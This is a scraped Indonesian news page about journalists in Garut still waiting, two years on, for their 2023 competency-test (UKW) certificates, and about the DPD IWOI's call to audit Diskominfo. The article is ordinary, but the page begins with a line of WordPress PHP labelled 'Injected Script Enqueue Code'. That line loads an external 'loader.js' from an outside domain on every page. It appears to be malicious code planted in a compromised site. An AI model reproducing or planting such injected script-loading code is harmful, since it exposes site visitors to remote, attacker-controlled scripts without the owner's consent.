// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Miris! Dua Tahun Berselang, Sertifikat UKW 2023 di Garut Tak Kunjung Terbit – DPD IWOI Dorong Audit Diskominfo – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
Jawa Barat

Miris! Dua Tahun Berselang, Sertifikat UKW 2023 di Garut Tak Kunjung Terbit – DPD IWOI Dorong Audit Diskominfo

16
×

Miris! Dua Tahun Berselang, Sertifikat UKW 2023 di Garut Tak Kunjung Terbit – DPD IWOI Dorong Audit Diskominfo

Sebarkan artikel ini
Miris! Dua Tahun Berselang, Sertifikat UKW 2023 di Garut Tak Kunjung Terbit – DPD IWOI Dorong Audit Diskominfo

Garut Fakta Terkini –
Sudah dua tahun berlalu, namun para peserta Uji Kompetensi Wartawan (UKW) tahun 2023 di Kabupaten Garut masih belum menerima hak mereka berupa sertifikat kelulusan. Kondisi ini mendorong Dewan Pimpinan Daerah Ikatan Wartawan Online Indonesia (DPD IWOI) Kabupaten Garut kembali melakukan audiensi dengan Komisi 1 DPRD Kabupaten Garut, Selasa (22/7/2025), guna meminta kejelasan dan pertanggungjawaban dari Dinas Komunikasi dan Informatika (Diskominfo) Garut selaku Kuasa Pengguna Anggaran (KPA) kegiatan tersebut.

Audiensi yang digelar di Aula Komisi 1 DPRD Kabupaten Garut ini dihadiri langsung oleh Ketua DPD IWOI Dede KW bersama jajaran pengurus, anggota Komisi 1 DPRD Garut Iman Ali Rahman, Kepala Diskominfo Margianto, serta pihak Inspektorat Daerah dan perwakilan organisasi wartawan lainnya.

Example 300x600

Dalam kesempatan tersebut, Dewan Pembina DPD IWOI Garut, Solihin Afsor, mempertanyakan transparansi dan akuntabilitas Diskominfo. Ia menilai, tidak terbitnya sertifikat UKW hingga saat ini menunjukkan adanya ketidakberesan dalam penyelenggaraan, meski laporan pertanggungjawaban (LPJ) tahun anggaran 2023 telah dinyatakan selesai oleh Diskominfo.

“Ini tidak masuk akal. Kegiatan UKW sudah dua tahun berlalu, anggarannya sudah dilaporkan, tapi hasilnya—sertifikat untuk peserta—belum juga diterbitkan. Kami menduga LPJ yang dilaporkan hanya bersifat administratif, tidak mencerminkan hasil kegiatan secara substansi,” ujar Solihin.

DPD IWOI pun secara tegas meminta agar Inspektorat Kabupaten Garut melakukan audit ulang dan menyeluruh terhadap pelaksanaan UKW 2023. Dugaan penyimpangan anggaran yang bersumber dari APBD menjadi sorotan utama organisasi ini.

Menanggapi hal tersebut, Anggota Komisi 1 DPRD Garut, Iman Ali Rahman, menyatakan bahwa pihaknya siap menampung aspirasi dan akan menindaklanjuti temuan serta aduan yang disampaikan. Ia juga menegaskan bahwa kegiatan UKW seharusnya memberikan manfaat konkret bagi wartawan, bukan malah menimbulkan persoalan berkepanjangan.

Dalam berita acara yang disepakati dan ditandatangani bersama, terdapat tiga poin penting hasil audiensi, yaitu:

1. Komisi 1 DPRD Garut mengapresiasi audiensi yang menjadi wadah silaturahmi antara legislatif, eksekutif, dan organisasi wartawan.

2. DPRD meminta Diskominfo untuk segera meminta kejelasan hasil UKW kepada pihak pelaksana, yakni IJTI.

3. Inspektorat akan mengkaji aduan dari DPD IWOI terkait dugaan penyimpangan anggaran dalam pelaksanaan UKW tahun 2023.

 

DPD IWOI Kabupaten Garut berharap, persoalan ini tidak lagi dibiarkan berlarut-larut dan meminta pemerintah daerah menunjukkan itikad baik untuk menyelesaikan hak-hak peserta UKW secara adil dan transparan.

(red)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *